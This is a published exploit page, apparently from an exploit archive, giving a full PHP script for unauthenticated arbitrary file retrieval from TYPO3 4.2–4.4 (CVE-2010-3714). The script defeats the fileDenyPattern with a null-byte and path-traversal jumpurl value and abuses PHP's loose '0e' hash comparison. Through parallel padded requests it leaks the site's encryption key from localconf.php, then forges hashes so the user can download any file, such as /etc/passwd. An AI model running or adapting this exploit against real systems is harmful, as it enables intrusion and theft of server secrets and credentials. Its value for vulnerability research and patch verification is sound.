TYPO3 Unauthenticated Arbitrary File Retrieval

Related Vulnerabilities: CVE-2010-3714  
Publish Date: 29 Dec 2010
Author: ikki
                							

                <?php
/* TYPO3-SA-2010-022.php
 * Exploit Title: TYPO3 Unauthenticated Arbitrary File Retrieval (TYPO3-SA-2010-020, TYPO3-SA-2010-022)
 * Date: 29/12/2010
 * Author: ikki
 * Software Link: http://typo3.org/download/, http://sourceforge.net/projects/typo3/files/
 * Version: 4.2.15, 4.3.7 or 4.4.4
 * Tested on: php
 * CVE : CVE-2010-3714 (non-typesafe comparison flaw), n/a (fileDenyPattern bypass)
 * A demonstration video for this vulnerability is also available here: http://www.ikkisoft.com/stuff/TYPO3-SA-2010-020_video.htm
 *
 * @_ikki
 *
 * TYPO3 Unauthenticated Arbitrary File Retrieval (TYPO3-SA-2010-020, plus TYPO3-SA-2010-022)
 *
 * Exploiting a non-typesafe comparison flaw, a remote aggressor can access arbitrary files
 * on a vulnerable system. Authentication is not required to exploit this vulnerability.
 * Moreover, a "fileDenyPattern" bypass has been implemented in order to speed up the attack.
 *
 * References:
 * - http://typo3.org/teams/security/security-bulletins/typo3-sa-2010-020/
 * - http://bugs.typo3.org/view.php?id=15898
 * - http://php.net/manual/en/language.operators.comparison.php
 * - http://blog.nibblesec.org/2010/12/unspecified-vulnerabilities.html ("least disclosure" rant)
 *
 * Fix: Update to the TYPO3 versions 4.2.16, 4.3.9, 4.4.5 or newer
 * Credits: Gregor Kopf for finding the neat non-typesafe comparison flaw, Michał Trojnara for his daily tips
 */
 
define("VERSION","0.2");
/* v0.2
 * - HTTP and HTTPS support (without verifying the peer's certificate)
 * - File retrieval, just after the initial encryption key disclosure
 * - Proxy support
 * - (Dirty) multi requests support (using curl multi_requests)
 * - Preliminary checks
 */
define("DEBUG",FALSE);
if(!defined("STDIN")) define("STDIN", fopen('php://stdin','r'));
if(!defined("STDERR")) define("STDERR", fopen('php://stderr','r'));
 
/* Turn on/off all error reporting */
DEBUG ? error_reporting(E_ALL) : error_reporting(0);
set_time_limit(0);
 
/* Main */
echo("\n\n :: [ TYPO3-SA-2010-022.php v".VERSION." ] :: \n\n");
 
if($argc=="3"){
    $typo=$argv[1];
    $reqs=$argv[2]; //Uwaga! Too many requests may even slow down the attack
}else if($argc=="4"){
    $typo=$argv[1];
    $reqs=$argv[2]; //Uwaga! Too many requests may even slow down the attack
    $proxy=$argv[3];
}else{
    echo "Usage: php ".$argv[0]." TYPO3ValidURL ParallelRequests (Proxy)\n\n";
    echo "Examples:\r\n";
    echo "php ".$argv[0]." http://127.0.0.1/index.php?id=2 9\n";
    echo "php ".$argv[0]." https://127.0.0.1/index.php?id=15 9\n";
    echo "php ".$argv[0]." http://127.0.0.1:8080/index.php?id=223 12\n";
    echo "php ".$argv[0]." http://127.0.0.1/index.php?id=223 12 http://127.0.0.1:8181\n\n";
    exit;
}
 
$url=substr($typo,0,strpos($typo,"id=")-1);
$id=substr($typo,strpos($typo,"id=")+3);
$locationData=$id.":";
$jumpurl="typo3conf/ext/../localconf.php%00"; //Null byte and directory move up trick the fileDenyPattern mechanism
$juHash="0"; // "0" is a numeric string, converted internally to 0 (int) by PHP during comparisons
 
/* STEP 1 - Check the remote TYPO3 installation */
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
DEBUG ? curl_setopt($ch, CURLOPT_VERBOSE, TRUE):curl_setopt($ch, CURLOPT_VERBOSE, FALSE);
curl_setopt($ch, CURLOPT_POST, 1);
if(isset($proxy)){
    curl_setopt($ch, CURLOPT_PROXY, $proxy);
}
curl_setopt($ch, CURLOPT_POSTFIELDS,"id=".$id."&type=0&jumpurl=".$jumpurl."&juSecure=1&locationData=".$locationData."&juHash=".$juHash);
$output=curl_exec($ch);
 
if(stristr($output,"did not match")) {
    echo("[*] TYPO3 successfully detected!\n");
}else{
    echo("[!] A problem occurred while detecting the remote TYPO3 installation\n");
    exit;
}
curl_close ($ch);
 
/* STEP 2 - Retrieve $TYPO3_CONF_VARS['SYS']['encryptionKey'] from /typo3conf/localconf.php */
$mh = curl_multi_init();
$handles = array();
$location = $locationData; //locationData with padding
 
for($i=0;$i<$reqs;$i++){
        $ch = curl_init(); //create a new single curl handle
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
        curl_setopt($ch, CURLOPT_POST, 1);
        if(isset($proxy)){
            curl_setopt($ch, CURLOPT_PROXY, $proxy);
        }
        $location = "%20".$location;
        curl_setopt($ch, CURLOPT_POSTFIELDS,"id=".$id."&type=0&jumpurl=".$jumpurl."&juSecure=1&locationData=".$location."&juHash=".$juHash);
 
        curl_multi_add_handle($mh,$ch);
        $handles[] = $ch; // put the handles in an array to loop
}
 
echo("[*] Starting TYPO3's encryption key retrieval\n");
echo("[*] Padding locationData to force '0exxxxxx' strings. It may take a while.");
 
$rcont=0;
while(!stristr($output,"TYPO3_CONF_VARS['SYS']['encryptionKey']")){
    $running=null;
    do{
        curl_multi_exec($mh,$running);
    } while ($running > 0);
 
    for($i=0;$i<count($handles);$i++){
        $output = curl_multi_getcontent($handles[$i]);
        $location="%20".$location;
        curl_multi_remove_handle($mh,$handles[$i]);
        curl_setopt($handles[$i], CURLOPT_POSTFIELDS,"id=".$id."&type=0&jumpurl=".$jumpurl."&juSecure=1&locationData=".$location."&juHash=".$juHash);
        curl_multi_add_handle($mh,$handles[$i]);
        $rcont++;
        echo(".");
    }
}
 
curl_multi_remove_handle($mh,$handles[$i]);
curl_multi_close($mh);
 
$key=substr($output,strpos($output,"TYPO3_CONF_VARS['SYS']['encryptionKey'] = '")+43);
$key=substr($key,0,strpos($key,"';"));
echo("\n[*] Done! ".$rcont." requests\n");
echo("\n[*] TYPO3's encryption key:".$key."\n");
 
/* STEP 3 - Retrieve arbitrary files */
while(!0) {
    echo("\n[*] Which file do you want to download?\n");
    echo("[*] Please make your selection (e.g. '/etc/passwd'):\n\n");
    $jumpurl=trim(fgets(STDIN,256));
    /* Generate a valid hash as in the TYPO3 codebase*/    
    $hArr= array($jumpurl,$locationData,$key);
    $juHash=substr(md5(serialize($hArr)),0,10);;
 
    $ch=curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
    DEBUG ? curl_setopt($ch, CURLOPT_VERBOSE, TRUE):curl_setopt($ch, CURLOPT_VERBOSE, FALSE);
    curl_setopt($ch, CURLOPT_POST, 1);
    if(isset($proxy)){
        curl_setopt($ch, CURLOPT_PROXY, $proxy);
    }
    curl_setopt($ch, CURLOPT_POSTFIELDS,"id=".$id."&type=0&jumpurl=".$jumpurl."&juSecure=1&locationData=".$locationData."&juHash=".$juHash);
    $output=curl_exec($ch);
 
    echo("\n[*]------------------------------------------------------------------------------\n\n");
    if(!stristr($output,"not a valid")) echo $output;
    else echo("[!] An error occurred while retriving '".$jumpurl."'\n");
    echo("\n\n[*]------------------------------------------------------------------------------\n");
 
    curl_close ($ch);
}

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